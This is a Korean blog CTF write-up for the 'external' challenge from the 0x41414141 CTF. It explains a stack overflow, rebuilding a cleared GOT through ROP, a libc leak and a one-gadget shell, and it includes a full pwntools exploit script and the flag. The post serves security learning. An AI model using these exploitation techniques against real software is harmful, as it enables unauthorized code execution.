ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [0x41414141 CTF] external
    CTF/WRITEUP 2021. 1. 27. 16:27

    Disassembly 디스어셈블리


    external

    문제를 보면 별다른 설명 없이 라이브러리와 바이너리 파일이 있다.

    undefined8 main(void)
    {
        void *buf;
        
        puts("ROP me ;)");
        printf(0x40201c);
        read(0, &buf, 0xf0);
        clear_got();
        return 0;
    }

    main 함수는 puts, printf, read, clear_got를 차례대로 호출하고, read에서 스택 버퍼 오버플로우가 발생한다.

    void clear_got(void)
    {
        memset(reloc.puts, 0, 0x38);
        return;
    }

    clear_got 함수는 reloc.puts부터 0x38바이트 길이를 초기화한다.

     

    got

    초기화되는 부분은 got 영역 전체이다. 재할당된 라이브러리 함수들의 주소가 모두 날아갔으니 제대로 호출이 되지 않을 것이다.

    Recovering GOT


    plt

    PLT&GOT에서 알 수 있듯이, plt+6부터의 코드는 got 영역에 함수의 실제 라이브러리 주소를 적고 이를 실행하는 역할을 한다. 원래라면 함수의 첫 실행에만 작동하고 그 이후부터는 got를 참조해서 호출하지만, 지금처럼 got가 날아가버린 경우에는 이를 복구하기 위해 plt+6을 다시 한 번 호출해줘야 한다.

    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    puts_plt = e.plt["puts"]
    
    payload = b"A"*0x58
    payload += p64(prdi) + p64(write)
    payload += p64(puts_plt+0x6)

    pop rdi 가젯을 통해 puts_plt를 호출해주면, puts_got에는 이제 정상적인 라이브러리 주소가 적히게 된다.

    Libc address leak


    payload += p64(prdi) + p64(puts_got)
    payload += p64(puts_plt)
    
    puts = u64(p.recvline().strip().ljust(8,b'\x00'))
    libc = puts - l.symbols["puts"]

    이제 복구된 puts의 주소를 leak해주면 libc base address를 얻을 수 있다. 

     

    libc

    공격에 쓸 가젯으로는 oneshot gadget이 가장 간편해 보여서 이를 사용하기로 했다.

     

    oneshot gadget

    ROP


    공격할 준비를 마쳤으니, ROP를 통해 main을 한번 더 호출하고 return address를 oneshot gadget으로 덮어쓰면 될 것이다. 그러나 이대로 진행하면 SIGSEGV를 받게 된다.

     

    SIGSEGV

    다시 호출한 main에서 memset을 호출하려다 실패한 것을 볼 수 있다. 아직 puts가 아닌 다른 라이브러리 함수들의 got는 0으로 초기화되어 있어서, 이를 호출하게 되면 program counter가 유효하지 않은 영역인 0x0으로 넘어가 에러가 발생한다.

    payload = b"A"*0x58
    
    payload += p64(prdi) + p64(write)
    payload += p64(puts_plt+0x6)
    
    payload += p64(prdi) + p64(0x404080)
    payload += p64(printf_plt+0x6)
    
    payload += p64(prdi) + p64(0)
    payload += p64(prsi) + p64(memset_got) + p64(0)
    payload += p64(read_plt+0x6)
    
    payload += p64(prdi) + p64(puts_got)
    payload += p64(puts_plt)
    
    payload += p64(main)
    payload += b"A"*(0xf0-len(payload))
    
    payload += p64(memset_plt+6)
    
    p.recvuntil("> ")
    p.send(payload)
    

    따라서 main에서 등장하는 모든 함수들의 got를 복구시켜줘야하고, 위와 같이 plt+6을 호출하거나, read를 통해 got를 plt+6으로 덮는 방법이 있다. printf, puts, read는 plt+6을 직접 호출해주었고, memset은 호출하려니 잘 되지 않아서 read_plt+6을 호출하는 김에 got를 덮어주었다.

    payload = b"A"*0x58
    payload += p64(oneshot)
    
    p.sendlineafter("> ", payload)

    마지막으로 다시 한 번 호출된 main에서 return address를 덮어주면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./external"
    lib = "./libc-2.28.so"
    server = "161.97.176.150"
    port = 9999
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    # gdb debugging
    
    # p = process(binary)
    # gdb.attach(p)
    
    # gadget
    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    prsi = (r.find_gadget(['pop rsi', 'pop r15', 'ret']))[0]
    
    oneshot_offset = [0x4484f, 0x448a3, 0xe5456]
    
    write = e.symbols["write_syscall"]
    main = e.symbols["main"]
    puts_plt = e.plt["puts"]
    puts_got = e.got["puts"]
    printf_plt = e.plt["printf"]
    read_plt = e.plt["read"]
    memset_plt = e.plt["memset"]
    memset_got = e.got["memset"]
    
    payload = b"A"*0x58
    payload += p64(prdi) + p64(write)
    payload += p64(puts_plt+0x6)
    payload += p64(prdi) + p64(0x404080)
    payload += p64(printf_plt+0x6)
    payload += p64(prdi) + p64(0)
    payload += p64(prsi) + p64(memset_got) + p64(0)
    payload += p64(read_plt+0x6)
    payload += p64(prdi) + p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(main)
    payload += b"A"*(0xf0-len(payload))
    payload += p64(memset_plt+6)
    
    p.recvuntil("> ")
    p.send(payload)
    
    p.recvline()
    puts = u64(p.recvline().strip().ljust(8,b'\x00'))
    libc = puts - l.symbols["puts"]
    oneshot = libc + oneshot_offset[0]
    
    log.info("libc : " + hex(libc))
    
    payload = b"A"*0x58
    payload += p64(oneshot)
    
    p.sendlineafter("> ", payload)
    
    # raw_input(1)
    
    p.interactive()

    Flag

    flag{0h_nO_My_G0t!!!!1111!1!}

    'CTF > WRITEUP' 카테고리의 다른 글

    [0x41414141 CTF] Faking till you're Making  (0) 2021.02.02
    [0x41414141 CTF] Moving signals  (0) 2021.02.02
    [0x41414141 CTF] echo  (0) 2021.02.02
    [0x41414141 CTF] Return Of The ROPs  (0) 2021.02.02
    [0x41414141 CTF] The Pwn Inn  (0) 2021.01.30

    댓글

Designed by Tistory.